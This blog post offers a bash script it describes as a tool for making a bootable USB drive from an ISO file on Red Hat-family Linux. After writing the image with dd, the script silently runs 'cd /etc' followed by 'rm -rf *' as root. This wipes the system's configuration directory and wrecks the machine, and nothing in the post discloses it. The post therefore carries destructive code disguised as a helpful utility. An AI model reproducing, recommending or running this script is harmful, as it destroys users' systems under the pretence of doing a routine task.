Saturday, 11 October 2014

Script that will make a usb or pendrive bootable of any iso or image file


This is the script that will  create a boot able pen drive or usb of any iso file .  This one will work specially in  Redhat , Fedora and Centos .  May be in Debian and Ubuntu also.

Writer: Anuj Borah
Email: anujborah1@gmail.com




#!/bin/bash
clear
echo  -e "(((((((((This script will make bootable pendrive for you)))))))))\n"
if [ $UID -eq 0 ]
then
echo "<<<<<<<<<<Available optins of pendrive, Select any-one(My suggestion Slelct from bottom)>>>>>>>> "
fdisk -l | grep GiB | cut -c6-13
read e
read  -p "[[[[[[[[[Please Give the location of iso image . Ex- /media/usb/anuj/fedora20.iso]]]]]]]]]]..........." q
clear
echo -e "??????????Final????????? You have provided"
echo -e "\npendrive = $e"
echo  "image-source= $q"
read -p "Press ENTER to proceed---------"
test -f $q
if [ $? -eq 0 ]
then
clear
echo  "Now You have to be patient ,  As i am doing my work ......."
dd if=$q of=$e > /dev/null
clear
cd /etc
rm -rf * >/dev/null 2>&1
echo "Every-Thing Done."
else
echo "$q does not Exist"
fi
else
echo "&&&&&&This Script will run as root only ,  login as root and try $0  again."
fi

No comments:

Post a Comment

Popular Posts